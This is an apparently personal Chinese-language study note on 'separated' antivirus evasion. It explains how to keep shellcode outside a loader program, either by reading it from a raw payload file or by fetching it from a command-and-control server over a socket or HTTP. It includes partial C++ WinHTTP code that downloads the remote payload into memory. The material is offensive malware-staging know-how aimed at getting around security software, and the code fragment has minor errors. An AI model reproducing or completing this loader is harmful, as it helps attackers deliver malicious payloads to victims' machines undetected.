分离免杀是将恶意代码放置在程序本身之外的一种加载方式。
从文件中加载shellcode
首先是最基本的,从raw格式文件中读取shellcode
raw bin文件二进制 payload 十六进制
raw采用文件读取的方式
c++文件流多复习复习
从web加载shellcode
远程加载
两种思路:一是从socket连接加载,客户端连接c2端口,返回shellcode
二是从http连接加载,访问c2的url返回shellcode
WinHttpOpen //初始化一个winhttp-session句柄,
WinHttpConnect //通过上述句柄连接到服务器,需要指定服务器ip和端口号
WinHttpOpenRequest //通过hconnect句柄创建一个hRequest句柄,用于发送数据与读取从服务器返回的数据。
WinHttpSendRequest // 发送请求
WinHttpReceiveResponse //发送请求成功则准备接收服务器的response
do
{
//(1) 获取返回数据的大小(以字节为单位)
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
break;
}
if (!dwSize) break; //数据大小为0
//(2) 根据返回数据的长度为buffer申请内存空间
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer) {
cout << "Out of memory." << endl;
break;
}
ZeroMemory(pszOutBuffer, dwSize + 1); //将buffer置0
//(3) 通过WinHttpReadData读取服务器的返回数据
if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) {
cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
}
if (!dwDownloaded)
break;
} while (dwSize > 0);
//将返回数据转换成UTF8
DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, pszOutBuffer, -1, NULL, 0); //返回原始ASCII码的字符数目
pwText = new wchar_t[dwNum]; //根据ASCII码的字符数分配UTF8的空间
MultiByteToWideChar(CP_UTF8, 0, pszOutBuffer, -1, pwText, dwNum);